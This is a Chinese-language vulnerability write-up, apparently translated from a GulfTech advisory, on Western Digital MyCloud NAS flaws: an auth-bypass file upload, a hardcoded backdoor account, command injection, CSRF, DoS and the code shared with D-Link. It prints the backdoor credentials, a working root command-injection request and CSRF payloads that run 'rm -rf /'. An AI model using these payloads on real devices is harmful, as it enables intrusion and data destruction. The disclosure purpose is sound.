西部数据NAS设备被曝存在硬编码后门和未授权文件上传高危漏洞

western-digital-mycloud.png

近日,GulfTech公司安全研究员James Bercegay发现,西部数据(Western Digital)旗下多个MyCloud系列网络存储设备(WDMyCloud NAS)存在未限制文件上传、硬编码后门、CSRF、命令注入等多个高危漏洞,攻击者可以利用这些漏洞,对MyCloud NAS设备植入恶意代码,远程登录或获得设备控制权限(漏洞利用exploit)。而且,WDMyCloud竟然还与D-Link存在代码共用情况!

漏洞概述和受影响设备

西部数据MyCloud系列(WDMyCloud )广泛应用于个人和商业机构,可以算是一款非常畅销的云存储设备,用它可以实现电子文档托管并能形成云端和基于web的服务同步。

漏洞公开日期: 2018-01-04

最新编辑日期: 2018-01-08

受影响厂商: Western Digital MyCloud

受影响设备型号:

MyCloud、MyCloudMirror、My Cloud Gen 2、My Cloud PR2100、 My Cloud PR4100、My Cloud EX2 Ultra、My Cloud EX2、My Cloud EX4、My Cloud EX2100、My Cloud EX4100、My Cloud DL2100、My Cloud DL4100

不受影响设备型号:

MyCloud 04.X Series、 MyCloud 2.30.174

漏洞分析

未限制文件上传漏洞

WDMyCloud在以下位置存在未限制文件上传漏洞:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

主要原因在于,开发者在此处对PHP gethostbyaddr()函数的误用,PHP帮助手册对gethostbyaddr()函数的返回值作了以下说明:

“执行成功则返回主机名;失败则原样输出(输出IP地址);如果输入的格式不正常,则返回FALSE。”

让我们来仔细看看导致该漏洞的代码,以下就是存在漏洞的”multi_uploadify.php”脚本问题,我会一一对相关问题代码作出解释。

#问题1:这里可被攻击者控制的“Host”头被用来定义了一个远程认证服务,这本身就很糟糕,攻击者可以把它指定为某个被控制服务器的IP地址,而且,如果我们向它发送一个无效的“Host”头信息,根据PHP手册定义,它只会返回FALSE。

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 
//echo $name ."
".$pwd."
".$ip;

#问题2:根据上述假设,向其发送了无效“Host”头信息后,这里的$result值就会被设置为返回的FALSE

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#问题3: 而且,程序会搜索以下这个空的存储结构,最终,其strstr()值会被设置为返回的FALSE。

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);  

#问题4: 这里被调用的strncmp()比较奇怪,它像是在寻找一个特定的登录失效状态,所以当执行出错或意外时,它不会给出具体解释,因此,这个if语句总是被忽略。

if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();   
}

#问题5: 综上所述,所有检查认证机制都会被绕过,攻击者可以利用这种绕过机制,实现向NAS设备上传任意文件。其它代码在此就不作过多说明,但一旦用户验证机制被绕过,就会成功实现文件上传。

利用这些问题,可以非常容易地获得一个远程root访问权限shell,攻击者可以使用参数”Filedata[0]“,向NAS设备发送一个包含上传文件的POST请求,”Filedata[0]“中包含了文件上传的具体目录位置,以及一个假冒的“Host”头信息。

在后续的漏洞利用Metasploit模块中,实现了向NAS设备目录 “/var/www/”上传一个PHP网马的功能,一旦成功上传,该网马可以形成一个有效的网页后门,能加载后续攻击载荷。

硬编码后门漏洞

在发现上述文件上传漏洞后,我决定对其网络接口界面下的CGI二进制文件作个逆向分析,由于这些CGI文件是标准的Linux ELF可执行程序,相对容易分析,经过一个多小时的折腾,我偶然发现了以下文件:

/usr/local/modules/cgi/nas_sharing.cgi

上述文件可以通过访问 “/cgi-bin/nas_sharing.cgi”获得,除“cmd”参数被设置为“7”之外,其它各种访问方式都会产生服务器错误,这激发了我的挖掘兴趣。最终我发现这种错误在于代码问题上,但当我在分析错误的过程中,碰巧又发现了以下用于认证远程用户的函数。

以下是从二进制反汇编中创建的伪代码,为了更好地识别,我把它重命名为”re_BACKDOOR”:

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
const char *v2; // r5@1
const char *v3; // r4@1
struct passwd *result; // r0@4
FILE *v5; // r6@5
struct passwd *v6; // r5@7
const char *v7; // r0@9
size_t v8; // r0@10
int v9; // [sp+0h] [bp-1090h]@1
char s; // [sp+1000h] [bp-90h]@1
char dest; // [sp+1040h] [bp-50h]@1
v2 = a2;
v3 = a1;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x40u);
memset(&v9, 0, 0x1000u);
if ( *v2 )
{
v8 = strlen(v2);
_b64_pton(v2, (u_char *)&v9, v8);
if ( dword_2C2E4 )
{
sub_1194C((const char *)&unk_1B1A4, v2);
sub_1194C("pwd decode[%s]\n", &v9);
}
}
if (!strcmp(v3, "mydlinkBRionyg") 
&&  !strcmp((const char *)&v9, "abc12345cba") )
{
result = (struct passwd *)1;
}
else
{
v5 = (FILE *)fopen64("/etc/shadow", "r");
while ( 1 )
{
result = fgetpwent(v5);
v6 = result;
if ( !result )
break;
if ( !strcmp(result->pw_name, v3) )
{
strcpy(&s, v6->pw_passwd);
fclose(v5);
strcpy(&dest, (const char *)&v9);
v7 = (const char *)sub_1603C(&dest, &s);
return (struct passwd *)(strcmp(v7, &s) == 0);
}
}
}
return result;
}

仔细观察上述代码,可以发现其中竟然包含了一个用户名密码为mydlinkBRionyg/abc12345cba的管理员用户,可以用它实现对目标NAS设备的远程登录,这是多么经典的一个硬编码后门啊!而且该用户名”mydlinkBRionyg”貌似与文件上传漏洞中的代码”mydlink.cgi”字段相关,而且其中还包含了”dlink”,难道是D-Link吗?我们后续分析。

首先,一般来说,要利用这个后门来作点文章好像很难,因为只有在“7”模式下才不会发生错误,而且该模式下我们也仅能下载/mnt/目录下的文件,它并不是root权限,所以非得需要root权限才行。

深入分析后,我发现CGI脚本每次一开始都会运行出错,只有在最后浏览器渲染解析阶段,CGI脚本才能正常运行,这貌似是由于开发者忘记在输出中指定具体的内容类型头,从而导致服务器端发生崩溃。现在的重点就是如何利用上述问题,实现root权限获取,所以在cmd参数为“51”的情况下,结合硬编码用户名密码后门,构造以下包含命令注入的请求,就能实现对远程NAS设备的访问控制。

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT

IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1

利用该请求,攻击者可以获得对目标设备的root权限,执行任意命令。其中的密码字段是base64编码的,请求中我通过命令创建了一个位于/tmp/目录下的gulftech文件。这种漏洞利用姿势极具威胁性和传播性,即使是局域网内用户也无法保证安全,攻击者可以迷惑用户访问伪装为 “wdmycloud”和”wdmycloudmirror”名称,且内置有iframe或img标签的网站,然后向漏洞NAS设备发送一个GET请求,就能实现设备控制。具体利用方式如下所示:

<img src=”http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin

kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;”>

一旦用户访问该链接请求之后,其WDMyCloud设备就成了攻击者的“囊中之物”,由于硬编码后门的存在,用户唯一能做的缓解措施就是立即删除NAS设备中的数据。

CSRF漏洞

该漏洞利用方式可以是这种:

http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;

也就是说,如果用户登录进入NAS设备之后,如果不小心点击了上述链接之后,将会执行整盘WDMyCloud的数据删除。

命令注入

2017年3月份是,Exploiteers安全团队曾发现了WDMyCloud的多个命令注入漏洞,但非常不可思议的是,我们又在其中发现了这种漏洞,以下就是存在漏洞的问题代码,有兴趣的可以深入研究一下。

class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST['jobName'];
@unlink($xmlPath);
$cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
system($cmd);
if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "";
}
}
}

DoS漏洞

攻击者可以滥用语言设置功能来触发对NAS设备WEB接口的DoS攻击,原因在于任意未授权用户可以设置设备用户的通用语言,以下是该功能的逆向二进制伪代码:

int cgi_language()
{
int v1; // [sp+0h] [bp-10h]@1
cgiFormString("f_language", &v1, 8);
xml_set_str((int)"/language", (int)&v1);
xml_write_file("/etc/NAS_CFG/config.xml");
LIB_CP_Config_To_MTD(1);
cgiHeaderContentType("text/html");
return system("language.sh > /dev/null 2>&1 &");
}

从以上代码可知,攻击者在无需认证的情况下,可以对NAS设备设置任意使用语言,这种情况下,也就说明,可以随时切换任意语言设置,当然也对WEB接口的正常访问造成影响。如以下利用方式,其中7为把语言设置为韩语,总共有17种语言可设置。

http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7

信息泄露

在不需任意认证的情况下,攻击者可以利用以下请求方式获取设备用户相关的详细信息,

GET /api/2.1/rest/users? HTTP/1.1

WDMyCloud与D-Link的共用代码关系

如前所述,“mydlink.cgi”文件引发了我对D-Link设备的联想,于是乎我通过Google搜索到了D-Link论坛内,某个D-Link DNS-320L ShareCenter设备用户发表的帖子,提及到了“mydlink.cgi”文件。

经过我对D-Link DNS-320L ShareCenter设备的分析后发现,它竟然存在与 WDMyCloud完全相同的未授权文件上传和硬编码后门漏洞,GOD!,另外,还有多处拼写错误的函数名称和异常代码相当一致,这可以说明,它们在软件架构中共用了代码!

但好在,与 WDMyCloud不同,升级版固件的D-Link DNS-320L已经不存了未授权文件上传和硬编码后门漏洞,其中,硬编码后门漏洞早在2014年7月的1.0.6升级固件版本中就已经被移除,如果你还没升级,就赶快的吧!

非常搞笑,两家流行NAS设备大厂,竟然在2014年初和2014年底,共用同样的代码,导致存在同样的漏洞和后门!

漏洞修复

参照官方修复建议,尽快升级到WDMyCloud的2.30.174固件版本,但有些用户反映,该固件更新还未完全修复某些漏洞。

*参考来源:gulftech,freebuf小编clouds编译,转载请注明来自FreeBuf.COM

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论

// 360自动收录 // 360自动收录